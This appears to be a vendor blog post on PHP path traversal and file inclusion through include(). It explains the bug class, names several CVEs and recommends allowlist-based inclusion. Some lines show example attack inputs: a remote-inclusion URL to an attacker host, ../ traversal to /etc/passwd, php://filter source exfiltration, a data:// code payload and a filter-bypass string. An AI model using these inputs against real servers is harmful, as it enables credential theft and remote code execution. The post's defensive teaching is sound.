Safeguard
Industry Analysis

Path Traversal Prevention in PHP: Avoiding include() with...

PHP's include() turns a path traversal bug into remote code execution. See how CVE-2015-2213 and CVE-2022-1329 happened, and how to prevent it with allowlists.

Aman Khan
AppSec Engineer
7 min read

In 2010, PHP shipped a fix in version 5.3.4 for a bug that had quietly undermined file-inclusion security for years: the null byte injection flaw (CVE-2006-7243), which let attackers terminate a string early inside functions like include() and fopen() by appending %00, stripping off whatever extension a developer thought was "safe." That single fix took years to land, and the underlying pattern it was patching — trusting user input to decide which file a script loads — is still one of the most common ways PHP applications get compromised today. Path traversal into include(), require(), and their _once cousins remains catalogued under CWE-98 (PHP Remote File Inclusion) and CWE-22 (Path Traversal), and it still shows up every year in CVE databases for WordPress plugins, custom CMSs, and internal admin panels. This post breaks down why include() is so exploitable, how real attacks work, and what actually stops them.

Why is PHP's include() uniquely dangerous compared to file-loading in other languages?

Because include() doesn't just read a file — it executes it as PHP code, turning a simple file-read bug into remote code execution. In Python, open(user_input).read() gives you data. In PHP, include($user_input) runs whatever PHP, HTML, or (via wrappers) remote content sits at that path, with the same privileges as the calling script. Combine that with PHP's historically permissive allow_url_fopen (on by default since PHP 4) and the once-common allow_url_include, and a single unsanitized parameter like page=about.php can become page=http://attacker.com/shell.txt — full Remote File Inclusion (RFI) — or, far more common today since allow_url_include defaults to off, page=../../../../etc/passwd for Local File Inclusion (LFI) that leaks secrets or chains into RCE via log poisoning, session-file inclusion, or phar:// deserialization.

How does a basic path traversal attack against include() actually work?

It works by walking the filesystem with ../ sequences until the script escapes its intended directory. A textbook vulnerable pattern looks like this:

$page = $_GET['page'];
include($page . '.php');

A request to index.php?page=home behaves as intended. A request to index.php?page=../../../../etc/passwd%00 (on PHP versions before 5.3.4) or index.php?page=php://filter/convert.base64-encode/resource=config (on any modern version) does not. The php://filter wrapper alone — still enabled by default in most PHP installs in 2026 — lets an attacker base64-encode and exfiltrate the source of any file the web server can read, including database credentials in config.php, without needing the null-byte trick at all. This is exactly why CVE-2015-2213, an LFI in the WP Symposium WordPress plugin's postEmailWall.php, stayed exploitable for months after disclosure: the themeName parameter was concatenated directly into an include() path with no allowlist check.

Why do null bytes and stream wrappers still bypass naive filters?

Because most "fixes" developers write only block the traversal sequence they thought of, not the entire class of dangerous input. A common but broken mitigation is str_replace('../', '', $page), which a payload like ....//....//etc/passwd sails right through, since removing ../ once leaves behind a fresh ../ from the surrounding characters. Even developers who correctly strip traversal sequences often forget PHP's stream wrappers — php://, zip://, phar://, data://, expect:// — which don't need ../ at all to do damage. A data://text/plain;base64,<payload> URI passed to include() executes attacker-supplied PHP directly, no filesystem traversal required. This exact gap turned dozens of "LFI-only" WordPress and Joomla plugin bugs between 2016 and 2022 into full RCE chains once researchers realized wrapper support was still enabled by default on nearly every shared-hosting PHP build.

Which real-world incidents trace back to unsanitized include() calls?

Multiple well-documented CVEs over the past decade share this exact root cause. CVE-2022-1329, an unauthenticated LFI in the WordPress "Access Demo Importer" plugin (active on 60,000+ sites at disclosure), let attackers include arbitrary local files through a crafted file parameter, enabling log-poisoning RCE chains. CVE-2021-24762, in the Modern Events Calendar plugin, allowed LFI through an insufficiently validated template-path parameter reachable pre-authentication. And while it targeted a web server rather than a PHP script directly, CVE-2021-41773 (Apache HTTP Server 2.4.49, CVSS 9.8, actively exploited within days of its October 2021 disclosure) remains the canonical case study in what a single unnormalized path check enables at scale: arbitrary file read and, wherever CGI was enabled, remote code execution. Each of these bugs was individually simple — a missing realpath() check, a missing allowlist — yet each shipped to production because the vulnerable line looked identical to hundreds of "safe" lines around it. Path traversal in include() rarely looks different from correct code in a diff; it only looks different once you trace the data flow from $_GET/$_POST all the way to the sink.

What does secure, allowlist-based file inclusion actually look like?

It looks like never letting user input reach include() as a path at all — mapping input to a fixed, known-good set of files instead. The pattern that actually holds up under attack:

$allowed_pages = [
    'home'    => 'pages/home.php',
    'about'   => 'pages/about.php',
    'contact' => 'pages/contact.php',
];

$page = $_GET['page'] ?? 'home';

if (!array_key_exists($page, $allowed_pages)) {
    http_response_code(404);
    exit('Not found');
}

include $allowed_pages[$page];

This closes every variant at once — ../ sequences, null bytes, stream wrappers, and RFI URLs — because user input never becomes part of a filesystem path; it only ever selects a key in a hardcoded array. Where a fixed allowlist genuinely isn't feasible, such as a plugin architecture that loads modules by name, the fallback is basename() to strip directory components, followed by realpath() to resolve the final path, plus an explicit check that the resolved path starts with the intended base directory — never a blocklist of ../ strings. Static analysis tools flag this pattern reliably as CWE-98/CWE-22 findings precisely because "does user input reach a filesystem sink" is checkable without executing the code, which is a big part of why this bug class is so consistently catchable in CI before it ever reaches production.

How Safeguard Helps

Safeguard's software supply chain security platform is built to catch this exact failure mode before it ships, not after an incident report lands in your inbox. Our static analysis traces taint from request-input sources — $_GET, $_POST, $_REQUEST, framework request objects — through to dangerous sinks like include(), require(), fopen(), and PHP stream wrappers, flagging any path where sanitization is missing, incomplete (a bare str_replace('../', '') is a classic false sense of security), or applied after the point where it actually matters. Because CWE-22 and CWE-98 are among the most reliably detectable vulnerability classes in static analysis, Safeguard surfaces these findings with low false-positive rates and maps each one directly to the offending commit and author, so remediation happens at the source instead of in a post-incident scramble.

Beyond first-party code, Safeguard extends the same analysis to your dependency tree: WordPress and Joomla plugins, Composer packages, and vendored PHP libraries are scanned for the same include/require taint patterns that produced CVE-2022-1329 and CVE-2021-24762, and flagged before they ever get pulled into a build. Paired with software bill of materials (SBOM) tracking, this means that when a new LFI CVE drops against a library you depend on, Safeguard can tell you within minutes whether the vulnerable code path is actually reachable in your application — not just whether the package version string matches an advisory. For teams running PHP applications with dynamic templating, plugin systems, or legacy include()-based routing, that reachability context is the difference between triaging one exploitable path and chasing every CVE that happens to mention a package name you use.

Never miss an update

Weekly insights on software supply chain security, delivered to your inbox.